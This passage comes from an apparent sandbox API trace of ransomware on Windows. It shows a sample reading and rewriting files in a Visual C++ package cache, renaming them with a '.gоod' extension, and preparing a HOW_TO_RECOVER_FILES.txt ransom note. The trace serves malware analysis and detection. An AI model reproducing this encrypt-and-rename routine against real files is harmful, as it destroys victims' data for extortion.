ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0098.878] FindClose (in: hFindFile=0x1ec51d20 | out: hFindFile=0x1ec51d20) returned 1 [0098.878] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59cae0) returned 1 [0098.878] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59caa0) returned 1 [0098.878] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59cba0) returned 1 [0098.878] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64", nBufferLength=0x105, lpBuffer=0x1f59c640, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64", lpFilePart=0x0) returned 0x72 [0098.878] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\*", lpFindFileData=0x1f59c8c0 | out: lpFindFileData=0x1f59c8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc84ca0a, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc84ca0a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0098.878] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc84ca0a, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc84ca0a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.878] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe90b3300, ftCreationTime.dwHighDateTime=0x1d28867, ftLastAccessTime.dwLowDateTime=0xe90b3300, ftLastAccessTime.dwHighDateTime=0x1d28867, ftLastWriteTime.dwLowDateTime=0xe90b3300, ftLastWriteTime.dwHighDateTime=0x1d28867, nFileSizeHigh=0x0, nFileSizeLow=0x59bde5, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0098.878] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11932d00, ftCreationTime.dwHighDateTime=0x1d28868, ftLastAccessTime.dwLowDateTime=0x11932d00, ftLastAccessTime.dwHighDateTime=0x1d28868, ftLastWriteTime.dwLowDateTime=0x11932d00, ftLastWriteTime.dwHighDateTime=0x1d28868, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0098.879] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11932d00, ftCreationTime.dwHighDateTime=0x1d28868, ftLastAccessTime.dwLowDateTime=0x11932d00, ftLastAccessTime.dwHighDateTime=0x1d28868, ftLastWriteTime.dwLowDateTime=0x11932d00, ftLastWriteTime.dwHighDateTime=0x1d28868, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0098.879] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0098.879] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59cae0) returned 1 [0098.879] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59caa0) returned 1 [0098.879] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab", nBufferLength=0x105, lpBuffer=0x1f59c480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab", lpFilePart=0x0) returned 0x7b [0098.879] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c950) returned 1 [0098.879] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\cab1.cab"), fInfoLevelId=0x0, lpFileInformation=0x347ec40 | out: lpFileInformation=0x347ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe90b3300, ftCreationTime.dwHighDateTime=0x1d28867, ftLastAccessTime.dwLowDateTime=0xe90b3300, ftLastAccessTime.dwHighDateTime=0x1d28867, ftLastWriteTime.dwLowDateTime=0xe90b3300, ftLastWriteTime.dwHighDateTime=0x1d28867, nFileSizeHigh=0x0, nFileSizeLow=0x59bde5)) returned 1 [0098.879] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c910) returned 1 [0098.879] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab", lpFilePart=0x0) returned 0x7b [0098.879] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0098.879] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0098.880] GetFileType (hFile=0x7dc) returned 0x1 [0098.880] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0098.880] GetFileType (hFile=0x7dc) returned 0x1 [0098.880] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59c9a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59c9a8*=0) returned 0x1000 [0098.880] ReadFile (in: hFile=0x7dc, lpBuffer=0x347f118, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59c978, lpOverlapped=0x0 | out: lpBuffer=0x347f118*, lpNumberOfBytesRead=0x1f59c978*=0x1000, lpOverlapped=0x0) returned 1 [0098.883] CloseHandle (hObject=0x7dc) returned 1 [0098.883] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab", lpFilePart=0x0) returned 0x7b [0098.883] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0098.883] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0098.884] GetFileType (hFile=0x7dc) returned 0x1 [0098.884] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0098.884] GetFileType (hFile=0x7dc) returned 0x1 [0098.884] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59c9a8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59c9a8*=0) returned 0x59bde5 [0098.884] WriteFile (in: hFile=0x7dc, lpBuffer=0x34916c0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59c898, lpOverlapped=0x0 | out: lpBuffer=0x34916c0*, lpNumberOfBytesWritten=0x1f59c898*=0x10, lpOverlapped=0x0) returned 1 [0098.886] CloseHandle (hObject=0x7dc) returned 1 [0098.886] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab", lpFilePart=0x0) returned 0x7b [0098.886] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0098.886] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0098.887] GetFileType (hFile=0x7dc) returned 0x1 [0098.887] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0098.887] GetFileType (hFile=0x7dc) returned 0x1 [0098.887] ReadFile (in: hFile=0x7dc, lpBuffer=0x3495ca0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59c928, lpOverlapped=0x0 | out: lpBuffer=0x3495ca0*, lpNumberOfBytesRead=0x1f59c928*=0x1000, lpOverlapped=0x0) returned 1 [0099.320] CloseHandle (hObject=0x7dc) returned 1 [0099.321] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab", lpFilePart=0x0) returned 0x7b [0099.321] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0099.321] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0099.321] GetFileType (hFile=0x7dc) returned 0x1 [0099.321] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0099.321] GetFileType (hFile=0x7dc) returned 0x1 [0099.321] WriteFile (in: hFile=0x7dc, lpBuffer=0x32f6fb8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59c9d8, lpOverlapped=0x0 | out: lpBuffer=0x32f6fb8*, lpNumberOfBytesWritten=0x1f59c9d8*=0x1010, lpOverlapped=0x0) returned 1 [0099.324] CloseHandle (hObject=0x7dc) returned 1 [0099.324] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab", nBufferLength=0x105, lpBuffer=0x1f59c480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab", lpFilePart=0x0) returned 0x7b [0099.324] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab.gоod", nBufferLength=0x105, lpBuffer=0x1f59c480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab.gоod", lpFilePart=0x0) returned 0x80 [0099.324] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c910) returned 1 [0099.325] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\cab1.cab"), fInfoLevelId=0x0, lpFileInformation=0x1f59c9f0 | out: lpFileInformation=0x1f59c9f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe90b3300, ftCreationTime.dwHighDateTime=0x1d28867, ftLastAccessTime.dwLowDateTime=0xe90b3300, ftLastAccessTime.dwHighDateTime=0x1d28867, ftLastWriteTime.dwLowDateTime=0x376a22b9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x59bdf5)) returned 1 [0099.325] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c8d0) returned 1 [0099.325] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\cab1.cab"), lpNewFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab.gоod" (normalized: "c:\\programdata\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\cab1.cab.gоod")) returned 1 [0099.325] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi", nBufferLength=0x105, lpBuffer=0x1f59c480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi", lpFilePart=0x0) returned 0x8f [0099.325] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c950) returned 1 [0099.325] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\programdata\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi"), fInfoLevelId=0x0, lpFileInformation=0x36416b8 | out: lpFileInformation=0x36416b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11932d00, ftCreationTime.dwHighDateTime=0x1d28868, ftLastAccessTime.dwLowDateTime=0x11932d00, ftLastAccessTime.dwHighDateTime=0x1d28868, ftLastWriteTime.dwLowDateTime=0x11932d00, ftLastWriteTime.dwHighDateTime=0x1d28868, nFileSizeHigh=0x0, nFileSizeLow=0x23000)) returned 1 [0099.326] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c910) returned 1 [0099.326] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi", lpFilePart=0x0) returned 0x8f [0099.326] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0099.326] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\programdata\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0099.326] GetFileType (hFile=0x7dc) returned 0x1 [0099.326] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0099.326] GetFileType (hFile=0x7dc) returned 0x1 [0099.326] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59c9a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59c9a8*=0) returned 0x1000 [0099.326] ReadFile (in: hFile=0x7dc, lpBuffer=0x3641c30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59c978, lpOverlapped=0x0 | out: lpBuffer=0x3641c30*, lpNumberOfBytesRead=0x1f59c978*=0x1000, lpOverlapped=0x0) returned 1 [0099.367] CloseHandle (hObject=0x7dc) returned 1 [0099.367] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi", lpFilePart=0x0) returned 0x8f [0099.367] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0099.367] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\programdata\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0099.367] GetFileType (hFile=0x7dc) returned 0x1 [0099.367] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0099.367] GetFileType (hFile=0x7dc) returned 0x1 [0099.367] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59c9a8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59c9a8*=0) returned 0x23000 [0099.367] WriteFile (in: hFile=0x7dc, lpBuffer=0x36440a8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59c898, lpOverlapped=0x0 | out: lpBuffer=0x36440a8*, lpNumberOfBytesWritten=0x1f59c898*=0x10, lpOverlapped=0x0) returned 1 [0099.368] CloseHandle (hObject=0x7dc) returned 1 [0099.368] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi", lpFilePart=0x0) returned 0x8f [0099.368] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0099.368] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\programdata\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0099.368] GetFileType (hFile=0x7dc) returned 0x1 [0099.368] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0099.368] GetFileType (hFile=0x7dc) returned 0x1 [0099.368] ReadFile (in: hFile=0x7dc, lpBuffer=0x3646418, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59c928, lpOverlapped=0x0 | out: lpBuffer=0x3646418*, lpNumberOfBytesRead=0x1f59c928*=0x1000, lpOverlapped=0x0) returned 1 [0099.397] CloseHandle (hObject=0x7dc) returned 1 [0099.457] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi", lpFilePart=0x0) returned 0x8f [0099.457] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0099.457] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\programdata\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0099.457] GetFileType (hFile=0x20c) returned 0x1 [0099.457] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0099.457] GetFileType (hFile=0x20c) returned 0x1 [0099.457] WriteFile (in: hFile=0x20c, lpBuffer=0x36450c0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59c9d8, lpOverlapped=0x0 | out: lpBuffer=0x36450c0*, lpNumberOfBytesWritten=0x1f59c9d8*=0x1010, lpOverlapped=0x0) returned 1 [0099.457] CloseHandle (hObject=0x20c) returned 1 [0099.458] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi", nBufferLength=0x105, lpBuffer=0x1f59c480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi", lpFilePart=0x0) returned 0x8f [0099.458] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi.gоod", nBufferLength=0x105, lpBuffer=0x1f59c480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi.gоod", lpFilePart=0x0) returned 0x94 [0099.458] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c910) returned 1 [0099.458] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\programdata\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi"), fInfoLevelId=0x0, lpFileInformation=0x1f59c9f0 | out: lpFileInformation=0x1f59c9f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11932d00, ftCreationTime.dwHighDateTime=0x1d28868, ftLastAccessTime.dwLowDateTime=0x11932d00, ftLastAccessTime.dwHighDateTime=0x1d28868, ftLastWriteTime.dwLowDateTime=0x377f956e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x23010)) returned 1 [0099.458] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c8d0) returned 1 [0099.458] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\programdata\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi"), lpNewFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi.gоod" (normalized: "c:\\programdata\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi.gоod")) returned 1 [0099.458] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59c5f0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x8b [0099.458] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59cb10) returned 